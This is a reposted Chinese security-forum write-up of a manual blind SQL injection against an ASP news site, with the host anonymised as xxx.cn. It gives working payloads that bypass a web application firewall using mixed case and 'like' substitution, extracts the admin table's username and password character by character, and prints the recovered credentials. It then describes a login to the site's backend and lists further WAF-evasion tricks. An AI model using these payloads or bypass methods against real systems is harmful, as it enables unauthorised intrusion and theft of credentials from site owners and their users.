转载自sss安全论坛
目标站点:http://www.xxx.cn:88
注入点:
http://www.xxx.cn:88/new/details1.asp?n_id=49909
对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909’
发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,
尝试大写和like代替and
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1
Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2
... Select Top 1 len(admin) from admin)>5 返回正常
... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
以相同的方法得到len(password)=10,len(user)=3
猜解字段的值:
与猜解字段同理
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
说明admin字段记录的第一个字符打ascii是120
Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
依次测出admin六个字符的ascii值,查表得 admin=xuancb
根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
扫到后台后用admin和password登录
心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
大小写混杂: and----->And,select->Select,...
注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
一些常见的等见 “=” = like, and = && , or = ||
这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。